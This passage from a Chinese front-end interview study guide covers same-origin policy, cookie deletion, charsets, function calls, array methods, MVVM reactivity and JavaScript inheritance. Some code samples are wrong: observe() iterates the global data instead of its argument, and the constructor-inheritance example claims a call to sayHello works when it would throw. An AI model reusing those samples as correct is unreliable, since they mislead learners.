  • 不限制的是:资源加载(img/script/link/iframe 都能跨域)、表单提交 —— 这正是 JSONP 和 CSRF 的成因
  • 目的:防止恶意站点读取你在其它站点的私密数据
  • 正规的放开途径是 CORS,由服务端通过响应头决定谁能读

同源策略是浏览器的安全机制,只有协议、域名和端口都相同,两个页面才属于同源。 它主要限制脚本读取跨源响应、访问跨源页面的 DOM,以及获取其他源的 Cookie、LocalStorage 和 IndexDB 数据。本质上是避免恶意网站借助用户身份读取其他站点的敏感信息。确实需要跨域时,可以使用 CORS、JSONP 或代理服务器;服务器之间的通信不受浏览器同源策略限制。

同源策略(Same-Origin Policy)是浏览器中一种重要的安全机制,用于限制来自不同源(协议、域名、端口)的脚本对当前文档的访问权限。同源策略的作用是保护用户的信息安全,防止恶意网站获取敏感数据或进行跨站攻击。

同源策略限制了以下行为:

  1. 脚本访问跨源文档的 DOM:通过脚本在页面中嵌入的 iframe 元素加载的跨源文档无法通过脚本访问其 DOM,除非目标文档明确允许。
  2. 脚本读取跨源文档的内容:通过脚本在页面中嵌入的 iframe 元素加载的跨源文档无法通过脚本读取其内容,包括读取属性、执行方法等。
  3. 脚本发送跨源 AJAX 请求:脚本无法直接发送跨源的 AJAX 请求,只能向同源的服务器发送请求。
  4. Cookie、LocalStorage 和 IndexDB 的限制:跨源的脚本无法访问其他源的 Cookie、LocalStorage 或 IndexDB 数据。

同源策略的存在使得浏览器可以更好地保护用户的隐私和安全。然而,也有一些场景需要进行跨域访问,例如使用 JSONP、CORS、代理服务器等方式来实现跨域请求。

需要注意的是,同源策略仅在浏览器中执行,不会限制服务器之间的通信,服务器可以自由地进行跨域访问。

# 108 如何删除一个cookie

⚡ 30 秒速记

  • 没有专门的删除 API,做法是把它的过期时间设成过去:document.cookie = 'key=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/'
  • 或者用 max-age=0,更简洁:document.cookie = 'key=; max-age=0; path=/'
  • 关键坑:path 和 domain 必须和设置时完全一致,否则删的是另一个同名 cookie,看起来"删不掉"
  • HttpOnly 的 cookie JS 删不掉,只能由服务端下发过期的 Set-Cookie
  • 带 Secure 或 SameSite=None 的 cookie,删除时也要带上相同属性
  • 现代 API:CookieStore.delete()(异步、基于 Promise),但兼容性还不够全面

删除 Cookie 的常见做法,是把同名 Cookie 的过期时间设为过去,或者设置 max-age=0。 例如可以执行 document.cookie = "cookieName=; expires=Thu, 01 Jan 1970 00:00:00 UTC",让浏览器将它视为已过期。也可以使用 document.cookie = "cookieName=; max-age=0",效果相同。需要注意,删除时的 path 和 domain 必须与设置时一致,否则可能只是创建了另一个已过期的同名 Cookie。

删除一个 Cookie 可以通过以下几种方式实现:

1. 将 Cookie 的过期时间设置为过去的时间:

var date = new Date();
date.setDate(date.getDate() - 1);
document.cookie = "cookieName=; expires=" + date.toUTCString();

将 cookieName 替换为要删除的 Cookie 的名称。

2. 使用 expires 参数设置过期时间:

document.cookie = "cookieName=; expires=Thu, 01 Jan 1970 00:00:00 UTC";

同样,将 cookieName 替换为要删除的 Cookie 的名称。

3. 使用 max-age 参数设置过期时间:

document.cookie = "cookieName=; max-age=0";

同样,将 cookieName 替换为要删除的 Cookie 的名称。

请注意,删除 Cookie 时需要确保 path 和 domain 参数与要删除的 Cookie 的设置一致,以确保正确删除指定的 Cookie

# 109 页面编码和被请求的资源编码如果不一致如何处理

⚡ 30 秒速记

  • 优先统一成 UTF-8,这是最省事的解法
  • 页面声明:<meta charset="utf-8">,必须放在 head 最前面 1024 字节内
  • 外链脚本声明:<script charset="utf-8" src="...">,或者由服务端响应头 Content-Type: application/javascript; charset=utf-8 指定
  • 服务端响应头的优先级高于页面里的声明
  • 传参时对非 ASCII 字符做 encodeURIComponent,避免中间环节按错误编码解析
  • 真遇到无法改源的老资源:可以用 fetch 拿到 ArrayBuffer 再用 TextDecoder('gbk') 手动解码

页面编码和资源编码不一致时,应把两边统一为相同字符集,通常由响应头和页面声明共同保证。 服务端可以通过 Content-Type: text/html; charset=utf-8 告诉浏览器按 UTF-8 解析返回内容,页面则在 head 中声明 <meta charset="utf-8">。如果两处声明与资源实际编码不一致,浏览器解析和显示时就可能出现乱码。工程上要同时检查资源本身的编码,以及字符集是否在请求和响应环节被正确传递。

如果页面编码和被请求的资源编码不一致,可以采取以下处理方式:

  1. 后端响应头设置 charset:在服务器端返回资源(例如 HTML 页面、CSS 文件、JavaScript 文件)时,在响应头中设置正确的字符编码,确保与页面编码一致。例如,在 HTTP 头部中添加以下内容:
Content-Type: text/html; charset=utf-8

这样可以告诉浏览器使用 UTF-8 编码解析返回的资源。

  1. 前端页面 <meta> 设置 charset:在 HTML 页面的 <head> 部分添加 <meta> 标签,并设置正确的字符编码,确保与被请求的资源编码一致。例如:
<meta charset="utf-8">

这样可以告诉浏览器使用 UTF-8 编码解析当前页面。

通过上述方式设置正确的字符编码,可以确保页面和被请求的资源在解析和显示时使用一致的编码,避免乱码等问题。需要注意的是,确保页面和资源的编码设置一致,并且字符编码在各个环节中正确传递和解析。

# 110 把<script>放在</body>之前和之后有什么区别?浏览器会如何解析它们?

⚡ 30 秒速记

  • 规范上 script 不允许出现在 </body> 之后,但浏览器有容错机制:会把它"移"回 body 内部,所以实际表现基本一致
  • 差别在于这属于不合法的 HTML,不同浏览器的容错行为不保证完全一致,也过不了校验
  • 结论:不要写在 body 之后,要么放 body 底部,要么放 head 里加 defer(更推荐,能更早开始下载)
  • 顺带说清放底部的原因:同步 script 会阻塞 HTML 解析,放底部时 DOM 已构建完,首屏更快且能直接操作 DOM
  • 现代最佳实践是 head + defer,兼得"早下载"和"不阻塞"

放在</body>之前符合HTML规范,放在它之后属于语法错误,但现代浏览器通常仍会解析并执行脚本。 浏览器遇到后一种写法时,会通过容错机制忽略前面的</body>,把这个<script>视为仍在body内部,所以实际功能通常没有区别。少数场景会省略</body>和</html>来减少输出字节,不过收益有限。工程代码里我会把脚本放在</body>之前,避免依赖浏览器容错,也更利于校验和维护。

将<script>放在</body>之前和之后的区别主要是在符合HTML标准的语法规则和浏览器的容错机制上,具体如下:

  1. 符合HTML标:按照HTML标准规定,<script>标签应该放在<body>标签内,通常是放在</body>之前。将<script>放在</body>之后是不符合HTML标准的,属于语法错误。但是,现代浏览器通常会自动容错并解析这样的语法,不会出现明显的错误。
  2. 浏览器解析:浏览器会解析并执行<script>标签中的JavaScript代码。无论<script>放在</body>之前还是之后,浏览器都会执行其中的代码。浏览器的容错机制会忽略<script>之前的</body>,视作<script>仍然在<body>内部。因此,从功能和效果上来说,两者没有区别。
  3. 服务器输出优化:在一些情况下,省略</body>和</html>闭合标签可以减少服务器输出的内容,因为浏览器会自动补全这些标签。对于大型网站或需要优化响应速度的场景,这种优化可以略微减少传输的字节数。

需要注意的是,虽然现代浏览器对放置<script>标签的位置比较宽容,但为了遵循HTML标准和保持代码的可读性和可维护性,推荐将<script>标签放在</body>之前,符合语义和结构的要求。

# 111 JavaScript 中,调用函数有哪几种方式

⚡ 30 秒速记

  • 独立调用:fn() —— this 是 globalThis(严格模式下 undefined)
  • 方法调用:obj.fn() —— this 指向 obj
  • 构造调用:new Fn() —— this 指向新创建的实例
  • 间接调用:fn.call(ctx, a, b) / fn.apply(ctx, [a,b]) / fn.bind(ctx)() —— 显式指定 this
  • 语法糖式的调用:标签模板 fn``x、getter/setter、Proxy 的 apply 陷阱
  • 这四种正好对应 this 绑定的四条规则,优先级:new > 显式绑定 > 方法调用 > 独立调用
  • 第 53 题有八种调用方式的实测演示

JavaScript函数常见的调用方式有直接调用、对象方法调用、构造器调用,以及通过call、apply或bind调用。 func()没有明确接收者,而obj.method()会以对象的方法形式执行;new Func()则把函数当作构造器创建实例。需要指定函数内部的this时,可以用call或apply立即调用,区别主要在参数传递形式。bind不会立刻执行,而是先返回绑定好this的新函数,适合稍后再调用。

在JavaScript中,调用函数有以下几种方式:

  1. 方法调用模式:将函数作为对象的方法调用,使用点运算符来调用函数。
obj.method(arg1, arg2);
  1. 函数调用模式:直接调用函数,没有明确的接收者对象。
func(arg1, arg2);
  1. 构造器调用模式:使用new关键字调用函数作为构造器来创建对象实例。
new Func(arg1, arg2);
  1. call/apply调用模式:使用call或apply方法来调用函数,并指定函数内部的this值,以及参数列表。
func.call(obj, arg1, arg2);
func.apply(obj, [arg1, arg2]);
  1. bind调用模式:使用bind方法创建一个新函数,并指定新函数的this值,然后调用新函数。
var newFunc = func.bind(obj);
newFunc(arg1, arg2);

这些不同的调用方式提供了灵活性和适用性,可以根据不同的场景选择合适的方式来调用函数。

# 112 列举一下JavaScript数组和对象有哪些原生方法?

⚡ 30 秒速记

  • 数组-改原数组:push/pop/shift/unshift/splice/sort/reverse/fill/copyWithin
  • 数组-返回新数组:concat/slice/map/filter/flat/flatMap/toSorted/toReversed/toSpliced/with(后四个是 ES2023 的不可变版本)
  • 数组-查找:indexOf/lastIndexOf/includes/find/findIndex/findLast/findLastIndex/at
  • 数组-迭代与聚合:forEach/reduce/reduceRight/some/every/keys/values/entries
  • 对象:keys/values/entries/assign/create/freeze/seal/defineProperty/getPrototypeOf/fromEntries/groupBy/hasOwn
  • 面试小技巧:能清晰区分"改原数组"和"返回新数组"这两类比背全名单更重要 —— ES2023 新增的 toSorted/toReversed 就是为了解决 sort/reverse 改原数组的坑

数组原生方法可以按增删、遍历、查找和转换来记,对象方法则主要处理属性、原型及对象状态。 数组增删常用push、pop、splice,遍历转换常用forEach、map、filter,查找可用find、includes。对象操作里,Object.keys、Object.values和Object.entries用于读取自身可枚举属性,Object.assign用于复制属性。需要控制属性或对象状态时,再使用Object.defineProperty、Object.freeze或Object.seal,按场景选择比死记完整名单更实用。

数组方法:

  • arr.concat(arr1, arr2, arrn):连接多个数组并返回新数组。
  • arr.copyWithin(target, start, end):将数组的一部分复制到同一数组中的另一个位置。
  • arr.entries():返回一个包含数组键值对的迭代器对象。
  • arr.every(callbackFn, thisArg):测试数组中的所有元素是否都通过了指定函数的测试。
  • arr.fill(value, start, end):用静态值填充数组的一部分。
  • arr.filter(callbackFn, thisArg):创建一个新数组,其中包含通过指定函数筛选的所有元素。
  • arr.find(callbackFn, thisArg):返回数组中第一个满足测试函数的元素的值。
  • arr.findIndex(callbackFn, thisArg):返回数组中第一个满足测试函数的元素的索引。
  • arr.flat(depth):将多维数组展平为一维数组。
  • arr.flatMap(callbackFn, thisArg):首先使用映射函数映射每个元素,然后将结果展平为一维数组。
  • arr.forEach(callbackFn, thisArg):对数组中的每个元素执行指定函数。
  • arr.includes(searchElement, fromIndex):判断数组中是否包含指定元素。
  • arr.indexOf(searchElement, fromIndex):返回指定元素在数组中首次出现的索引。
  • arr.join(separator):将数组元素连接为一个字符串,并使用指定的分隔符。
  • arr.keys():返回一个包含数组键的迭代器对象。
  • arr.lastIndexOf(searchElement, fromIndex):返回指定元素在数组中最后一次出现的索引。
  • arr.map(callbackFn, thisArg):创建一个新数组,其中包含通过指定函数对每个元素进行处理后的结果。
  • arr.pop():移除并返回数组的最后一个元素。
  • arr.push(element1, element2, ..., elementN):向数组末尾添加一个或多个元素,并返回新的长度。
  • arr.reduce(callbackFn, initialValue):对数组中的所有元素执行指定的累积函数,返回累积结果。
  • arr.reduceRight(callbackFn, initialValue):对数组中的所有元素执行指定的累积函数(从右到左),返回累积结果。
  • arr.reverse():反转数组中元素的顺序。
  • arr.shift():移除并返回数组的第一个元素。
  • arr.slice(start, end):从数组中提取指定范围的元素,并返回一个新数组。
  • arr.some(callbackFn, thisArg):测试数组中的至少一个元素是否通过了指定函数的测试。
  • arr.sort(compareFunction):对数组元素进行排序,可以传入自定义的比较函数。
  • arr.splice(start, deleteCount, item1, item2, ...):从数组中添加/删除元素,并返回被删除的元素。
  • arr.toLocaleString():将数组中的元素转换为字符串,并返回该字符串。
  • arr.toString():将数组中的元素转换为字符串,并返回该字符串。
  • arr.unshift(element1, element2, ..., elementN):向数组开头添加一个或多个元素,并返回新的长度。
  • arr.values():返回一个包含数组值的迭代器对象。

对象方法:

  • Object.assign(target, ...sources):将一个或多个源对象的属性复制到目标对象,并返回目标对象。
  • Object.create(proto, [propertiesObject]):使用指定的原型对象和属性创建一个新对象。
  • Object.defineProperties(obj, props):定义一个或多个对象的新属性或修改现有属性的配置。
  • Object.defineProperty(obj, prop, descriptor):定义一个新属性或修改现有属性的配置。
  • Object.entries(obj):返回一个包含对象自身可枚举属性的键值对数组。
  • Object.freeze(obj):冻结对象,使其属性不可修改。
  • Object.fromEntries(entries):将键值对列表转换为对象。
  • Object.getOwnPropertyDescriptor(obj, prop):返回对象属性的描述符。
  • Object.getOwnPropertyDescriptors(obj):返回对象所有属性的描述符。
  • Object.getOwnPropertyNames(obj):返回一个数组,包含对象自身的所有属性名称。
  • Object.getOwnPropertySymbols(obj):返回一个数组,包含对象自身的所有Symbol属性。
  • Object.getPrototypeOf(obj):返回指定对象的原型。
  • Object.is(value1, value2):判断两个值是否相同。
  • Object.isExtensible(obj):判断对象是否可扩展。
  • Object.isFrozen(obj):判断对象是否已被冻结。
  • Object.isSealed(obj):判断对象是否已被密封。
  • Object.keys(obj):返回一个数组,包含对象自身的所有可枚举属性名称。
  • Object.preventExtensions(obj):阻止对象扩展,使其不可添加新属性。
  • Object.seal(obj):将对象密封,使其属性不可添加、删除或配置。
  • Object.setPrototypeOf(obj, prototype):设置对象的原型。
  • Object.values(obj):返回一个包含对象自身可枚举属性的值的数组。

这些方法可以帮助我们在JavaScript中更方便地操作和处理数组和对象的数据。

# 113 Array.slice() 与 Array.splice() 的区别?

⚡ 30 秒速记

  • slice(start, end):不改原数组,返回浅拷贝的新数组,包含 start 不含 end;负数从末尾算起
  • splice(start, deleteCount, ...items):改原数组,删除/插入/替换元素,返回被删除元素组成的数组
  • 记忆法:slice 是"切片"(拿走一份副本),splice 是"拼接手术"(在原数组上动刀)
  • 常见用法:slice() 无参可以浅拷贝整个数组;splice(i, 1) 删除指定位置一项
  • 现代替代:不想改原数组时用 toSpliced()(ES2023)或展开运算符

slice()用于截取并返回新数组,不修改原数组;splice()用于删除、替换或插入元素,会直接修改原数组。 slice(start, end)包含起始位置但不包含结束位置,返回的是指定范围的元素。splice(start, deleteCount, ...items)从起始位置处理指定数量的元素,并返回被删除元素组成的数组。只想读取一段数据时用slice(),需要在原数组中间增删或替换内容时才用splice(),因为后者还可能改变数组长度。

  • slice() 方法返回一个新数组,包含从原数组中指定的开始位置到结束位置(不包括结束位置)的元素,不会修改原数组。
  • splice() 方法通过删除或替换现有元素或者添加新元素来修改原数组。它会返回被删除的元素组成的数组。
const fruits = ['apple', 'banana', 'orange', 'mango', 'kiwi'];

// 从索引 1 开始删除 2 个元素,并插入 'grape' 和 'pear'
const deletedFruits = fruits.splice(1, 2, 'grape', 'pear');

console.log(deletedFruits); // 输出: ['banana', 'orange']
console.log(fruits); // 输出: ['apple', 'grape', 'pear', 'mango', 'kiwi']
const fruits = ['apple', 'banana', 'orange'];

// 在索引 1 的位置插入 'grape' 和 'kiwi'
fruits.splice(1, 0, 'grape', 'kiwi');

console.log(fruits); // 输出: ['apple', 'grape', 'kiwi', 'banana', 'orange']

主要区别如下:

  • slice() 是纯粹的读取操作,不会对原数组进行修改,而 splice() 是对数组进行操作,会修改原数组。
  • slice() 的参数是起始位置和结束位置,返回选定的元素组成的新数组。splice() 的参数是起始位置、删除的元素个数以及可选的插入元素,返回被删除的元素组成的新数组。
  • slice() 的结束位置是不包括在选取范围内的,而 splice() 中的删除元素个数是包括在操作范围内的。
  • slice() 不会改变原数组的长度,而 splice() 可以改变原数组的长度。

总的来说,slice() 是用来提取数组中的一部分元素,不改变原数组,而 splice() 是用来操作数组,可以删除、替换或插入元素,会改变原数组。

const fruits = ['apple', 'banana', 'orange', 'mango', 'kiwi'];

// 从索引 1 开始(包括索引 1),到索引 3 结束(不包括索引 3)
const slicedFruits = fruits.slice(1, 3);

console.log(slicedFruits); // 输出: ['banana', 'orange']
console.log(fruits); // 输出: ['apple', 'banana', 'orange', 'mango', 'kiwi']

# 114 MVVM

⚡ 30 秒速记

  • 与第 87 题重复,看那题的速记卡
  • Model + View + ViewModel,ViewModel 通过数据绑定自动同步视图和数据
  • 与 MVC/MVP 的核心差别:不需要手动操作 View,改数据即改视图
  • Vue 是典型实现;React 更接近单向数据流,不做双向绑定
  • 实现基础是响应式系统(依赖收集 + 派发更新)+ 模板编译

MVVM 通过 ViewModel 连接 Model 和 View,利用数据绑定让数据与界面自动同步。 Model 管数据和业务规则,View 负责展示与交互,ViewModel 则转换数据并响应用户输入。本质上,响应式系统会在读取数据时收集依赖,在数据变化时通知订阅者更新视图。Object.defineProperty() 能拦截已有属性的读写,而 Proxy 对数组变化和动态新增属性的处理更灵活,但也要考虑旧浏览器兼容性。

MVVM(Model-View-ViewModel)是一种软件架构模式,用于实现用户界面(UI)和业务逻辑的分离。它的设计目标是将界面的开发与后端的业务逻辑分离,使代码更易于理解、维护和测试。

在MVVM中,各个组成部分的职责如下:

  • Model(模型):表示应用程序的数据和业务逻辑。它负责数据的存储、检索和更新,并封装了与数据相关的操作和规则。
  • View(视图):展示用户界面,通常是由UI元素组成的。它是用户与应用程序进行交互的界面,负责将数据呈现给用户,并接收用户的输入。
  • ViewModel(视图模型):连接View和Model,负责处理业务逻辑和数据的交互。它从Model中获取数据,并将数据转换为View可以理解和展示的格式。ViewModel还负责监听View的变化,并根据用户的输入更新Model中的数据。

MVVM的核心思想是数据绑定,通过双向绑定机制将View和ViewModel中的数据保持同步。当ViewModel中的数据发生变化时,View会自动更新,反之亦然。这种数据驱动的方式使得开发者可以专注于业务逻辑的实现,而无需手动操作DOM元素来更新界面。

MVVM的优势包括:

  • 可维护性:将界面逻辑与业务逻辑分离,使代码更易于理解和维护。
  • 可测试性:由于视图逻辑与业务逻辑解耦,可以更容易地编写单元测试来验证ViewModel的行为。
  • 可复用性:ViewModel可以独立于具体的View,可以复用在不同的界面上,提高代码的重用性。
  • 团队协作:MVVM模式将界面开发与后端逻辑分离,使得前端和后端开发人员可以并行工作,提高团队的协作效率。

总而言之,MVVM是一种能够将界面逻辑与业务逻辑分离的软件架构模式,通过数据绑定实现了View和ViewModel的自动同步,提高了代码的可维护性、可测试性和可复用性。

  • 在Vue中,ViewModel由Vue实例扮演。Vue通过数据绑定机制建立了View和ViewModel之间的连接,当ViewModel中的数据发生变化时,View会自动更新,反之亦然。这种双向数据绑定使得开发者能够以一种声明式的方式编写代码,而不需要手动操作DOM来更新界面。
  • 总结来说,MVVM是一种将数据驱动视图的设计模式,通过ViewModel作为中间层来实现数据和视图之间的解耦。Vue作为一种流行的MVVM框架,提供了强大的数据绑定和响应式系统,使开发者能够更轻松地构建交互性强的Web应用程序。

数据劫持 Vue 内部使用了 Obeject.defineProperty() 来实现双向绑定,通过这个函数可以监听到 set 和 get的事件

var data = { name: 'poetry' }
observe(data)
let name = data.name // -> get value
data.name = 'yyy' // -> change value

function observe(obj) {
  // 判断类型
  if (!obj || typeof obj !== 'object') {
    return
  }
  Object.keys(data).forEach(key => {
    defineReactive(data, key, data[key])
  })
}

function defineReactive(obj, key, val) {
  // 递归子属性
  observe(val)
  Object.defineProperty(obj, key, {
    enumerable: true,
    configurable: true,
    get: function reactiveGetter() {
      console.log('get value')
      return val
    },
    set: function reactiveSetter(newVal) {
      console.log('change value')
      val = newVal
    }
  })
}

以上代码简单的实现了如何监听数据的 set 和 get 的事件,但是仅仅如此是不够的,还需要在适当的时候给属性添加发布订阅

<div>
    {{name}}
</div>

在解析如上模板代码时,遇到 {name} 就会给属性 name 添加发布订阅

// 通过 Dep 解耦
class Dep {
  constructor() {
    this.subs = []
  }
  addSub(sub) {
    // sub 是 Watcher 实例
    this.subs.push(sub)
  }
  notify() {
    this.subs.forEach(sub => {
      sub.update()
    })
  }
}
// 全局属性,通过该属性配置 Watcher
Dep.target = null

function update(value) {
  document.querySelector('div').innerText = value
}

class Watcher {
  constructor(obj, key, cb) {
    // 将 Dep.target 指向自己
    // 然后触发属性的 getter 添加监听
    // 最后将 Dep.target 置空
    Dep.target = this
    this.cb = cb
    this.obj = obj
    this.key = key
    this.value = obj[key]
    Dep.target = null
  }
  update() {
    // 获得新值
    this.value = this.obj[this.key]
    // 调用 update 方法更新 Dom
    this.cb(this.value)
  }
}
var data = { name: 'poetry' }
observe(data)
// 模拟解析到 `{{name}}` 触发的操作
new Watcher(data, 'name', update)
// update Dom innerText
data.name = 'yyy'

接下来,对 defineReactive 函数进行改造

function defineReactive(obj, key, val) {
  // 递归子属性
  observe(val)
  let dp = new Dep()
  Object.defineProperty(obj, key, {
    enumerable: true,
    configurable: true,
    get: function reactiveGetter() {
      console.log('get value')
      // 将 Watcher 添加到订阅
      if (Dep.target) {
        dp.addSub(Dep.target)
      }
      return val
    },
    set: function reactiveSetter(newVal) {
      console.log('change value')
      val = newVal
      // 执行 watcher 的 update 方法
      dp.notify()
    }
  })
}

以上实现了一个简易的双向绑定,核心思路就是手动触发一次属性的 getter 来实现发布订阅的添加

Proxy 与 Obeject.defineProperty 对比

Object.defineProperty在实现双向绑定时存在一些局限性,特别是在处理数组时的表现。为了解决这些问题,JavaScript引入了Proxy对象,它提供了更强大的拦截和自定义行为能力,进一步改善了双向绑定的实现。

与Object.defineProperty相比,Proxy具有以下优势:

  • 支持监听数组变化:使用Proxy可以监听到数组的变化,包括对数组的push、pop、splice等操作。这使得在实现数组的双向绑定时更加方便和高效。
  • 支持监听动态新增属性:Proxy可以监听对象属性的动态新增,而Object.defineProperty只能监听已经存在的属性。这意味着可以在运行时动态地给对象添加新属性,并对其进行拦截和处理。
  • 更灵活的拦截和自定义行为:Proxy提供了多种拦截器(handler),可以针对不同的操作进行自定义处理。通过拦截器,可以实现属性的读取、设置、删除等操作的拦截,以及对函数的调用进行拦截。这种灵活性使得在实现双向绑定时更加便捷和可控。

然而,需要注意的是,Proxy是ES6引入的新特性,对于一些较旧的浏览器可能不完全支持。在选择使用Proxy还是Object.defineProperty时,需要根据目标平台和需求进行权衡和选择。

总结来说,Proxy相比Object.defineProperty提供了更强大和灵活的拦截和自定义行为能力,特别是在处理数组和动态新增属性时表现更好。它是实现双向绑定的一种更先进的方法,为开发者提供了更好的开发体验和效率。

以下是一个简单的示例代码,演示了如何使用Proxy实现简单的双向绑定功能。

// 定义一个响应式对象
const reactiveObj = {
  name: 'poetry',
  age: 30
};

// 创建一个代理对象
const reactiveProxy = new Proxy(reactiveObj, {
  get(target, key) {
    console.log(`读取属性 ${key}`);
    return target[key];
  },
  set(target, key, value) {
    console.log(`设置属性 ${key} 值为 ${value}`);
    target[key] = value;
    // 触发更新操作,这里简化为输出当前对象
    console.log(reactiveObj);
    return true;
  }
});

// 使用代理对象进行属性的读取和设置
console.log(reactiveProxy.name); // 读取属性 name
reactiveProxy.age = 40; // 设置属性 age 值为 40

在上述示例中,我们使用Proxy创建了一个代理对象reactiveProxy,并定义了get和set拦截器。在get拦截器中,我们输出了属性的读取操作,而在set拦截器中,我们输出了属性的设置操作,并手动触发了更新操作。通过代理对象reactiveProxy,我们可以像访问普通对象一样读取和设置属性值,同时还可以进行自定义的操作。

在Vue.js中,实际的双向绑定实现比上述示例要复杂得多,涉及到依赖追踪、响应式系统、模板编译等方面的内容。Vue.js使用了Proxy对象和其他技术来实现双向绑定功能。如果你有兴趣深入了解Vue.js的源码实现,可以查看Vue.js的官方仓库,其中包含了完整的源码实现。

# 115 WEB应用从服务器主动推送Data到客户端有那些方式

⚡ 30 秒速记

  • 短轮询:定时发请求问有没有新数据。实现最简单,但延迟高、请求浪费大
  • 长轮询(Comet):服务端 hold 住请求直到有数据才返回,客户端收到后立刻再发一个。兼容性最好
  • SSE(Server-Sent Events):基于 HTTP 的单向推送,浏览器原生 EventSource,自带断线重连,适合通知/日志流
  • WebSocket:全双工长连接,适合聊天、协同编辑、实时游戏
  • HTTP/2 Server Push:已被主流浏览器废弃,别答这个
  • WebRTC DataChannel:点对点,适合音视频和 P2P 传输
  • 选型:只需服务端单向推用 SSE(比 WebSocket 简单得多),需要双向实时用 WebSocket

常见方案是 WebSocket、SSE 和长轮询,选择时主要看通信方向、实时性和服务端资源成本。 WebSocket 建立持久的双向连接,适合客户端与服务端都要频繁发消息的实时场景。SSE 复用持久的 HTTP 连接做单向推送,更适合新闻、行情这类服务端持续下发数据的需求。长轮询兼容传统请求模型,但连接需要反复续接,实现更复杂,对服务端资源的消耗也更大。

  1. WebSocket:WebSocket是一种双向通信协议,通过建立持久连接,服务器可以主动向客户端推送数据,而不需要客户端发送请求。WebSocket提供了实时性更好的数据推送能力,适用于需要实时更新数据的场景。
  2. Server-Sent Events(SSE):SSE是HTML5中定义的一种服务器推送技术,通过建立一个持久的HTTP连接,服务器可以向客户端推送数据,客户端通过监听事件来接收推送的数据。SSE适用于需要实现单向实时数据推送的场景,例如实时新闻、实时股票行情等。
  3. Long Polling:长轮询是一种通过客户端不断发送请求,服务器在有数据更新时立即响应的方式。客户端发送一个请求到服务器,服务器一直保持连接打开,直到有新的数据可用或超时,然后将响应返回给客户端,客户端再立即发送下一个请求。长轮询可以模拟实时的数据推送,但相比WebSocket和SSE,它的实现相对复杂,并且对服务器资源的消耗较大。

以上这些方式都可以实现服务器主动推送数据到客户端,选择哪种方式取决于具体的需求和技术栈的选择。WebSocket和SSE是现代Web应用中较为常用的服务器推送技术,它们提供了更好的实时性和效率。

示例代码如下:

WebSocket 示例:

客户端代码:

const socket = new WebSocket('ws://your-server-url');

socket.addEventListener('open', () => {
  console.log('WebSocket连接已建立');
});

socket.addEventListener('message', (event) => {
  const data = event.data;
  console.log('收到服务器推送的数据:', data);
});

socket.addEventListener('close', () => {
  console.log('WebSocket连接已关闭');
});

服务器端代码(使用Node.js和WebSocket库ws):

const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws) => {
  console.log('新的WebSocket连接已建立');

  // 模拟推送数据给客户端
  setInterval(() => {
    ws.send('服务器主动推送的数据');
  }, 5000);

  ws.on('close', () => {
    console.log('WebSocket连接已关闭');
  });
});

Server-Sent Events 示例:

客户端代码:

const eventSource = new EventSource('your-server-url');

eventSource.addEventListener('message', (event) => {
  const data = event.data;
  console.log('收到服务器推送的数据:', data);
});

eventSource.addEventListener('error', (event) => {
  console.error('发生错误:', event);
});

服务器端代码(使用Node.js和Express框架):

const express = require('express');

const app = express();

app.get('/stream', (req, res) => {
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');

  // 模拟每5秒发送一次数据给客户端
  setInterval(() => {
    res.write(`data: 服务器主动推送的数据\n\n`);
  }, 5000);
});

app.listen(8080, () => {
  console.log('服务器已启动');
});

请注意,以上示例仅为简单示例,实际使用时需要根据具体的需求和技术栈进行适当的调整。

# 116 继承

⚡ 30 秒速记

  • 与第 5 题重复,看那题的速记卡
  • ES5 演进:原型链 → 借用构造函数 → 组合 → 原型式 → 寄生式 → 寄生组合式(最优)
  • 寄生组合式核心:Child.prototype = Object.create(Parent.prototype) + 修正 constructor + 构造函数里 Parent.call(this)
  • ES6 class extends 是它的语法糖,额外能继承静态方法,且必须先调 super() 才能用 this
  • 实践建议:组合优于继承,能用组合就别堆继承层级

JavaScript 继承主要依靠原型链和构造函数调用,工程上更完整的做法是寄生组合继承。 单用原型链虽然简单、能复用原型方法,但引用属性会被实例共享,也不能给父构造函数传参。单用 Parent.call(this) 可以传参并复制实例属性,却拿不到父类原型上的方法,每个实例还可能保存自己的函数副本。寄生组合继承用 Object.create(Parent.prototype) 连接原型,再修正 constructor,同时在子构造函数中调用父构造函数,兼顾属性隔离和方法复用。

  • 原型链继承,将父类的实例作为子类的原型,他的特点是实例是子类的实例也是父类的实例,父类新增的原型方法/属性,子类都能够访问,并且原型链继承简单易于实现,缺点是来自原型对象的所有属性被所有实例共享,无法实现多继承,无法向父类构造函数传参。
function Parent() {
  this.name = 'Parent';
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child() {}

Child.prototype = new Parent();

var child = new Child();
child.sayHello(); // Output: Hello, I am Parent
  • 构造继承,使用父类的构造函数来增强子类实例,即复制父类的实例属性给子类,构造继承可以向父类传递参数,可以实现多继承,通过call多个父类对象。但是构造继承只能继承父类的实例属性和方法,不能继承原型属性和方法,无法实现函数服用,每个子类都有父类实例函数的副本,影响性能
function Parent(name) {
  this.name = name;
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child(name) {
  Parent.call(this, name);
}

var child = new Child('Child');
child.sayHello(); // Output: Hello, I am Child
  • 实例继承,为父类实例添加新特性,作为子类实例返回,实例继承的特点是不限制调用方法,不管是new 子类()还是子类()返回的对象具有相同的效果,缺点是实例是父类的实例,不是子类的实例,不支持多继承
function createParent() {
  var parent = {
    name: 'Parent',
    sayHello: function() {
      console.log('Hello, I am ' + this.name);
    }
  };
  return parent;
}

function createChild() {
  var child = Object.create(createParent());
  child.name = 'Child';
  return child;
}

var child = createChild();
child.sayHello(); // Output: Hello, I am Child
  • 拷贝继承:特点:支持多继承,缺点:效率较低,内存占用高(因为要拷贝父类的属性)无法获取父类不可枚举的方法(不可枚举方法,不能使用for in访问到)
function copyProperties(target, source) {
  for (var key in source) {
    if (source.hasOwnProperty(key)) {
      target[key] = source[key];
    }
  }
}

function Parent() {
  this.name = 'Parent';
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child() {
  Parent.call(this);
  this.name = 'Child';
}

copyProperties(Child.prototype, Parent.prototype);

var child = new Child();
child.sayHello(); // Output: Hello, I am Child
  • 组合继承:通过调用父类构造,继承父类的属性并保留传参的优点,然后通过将父类实例作为子类原型,实现函数复用
function Parent(name) {
  this.name = name;
}

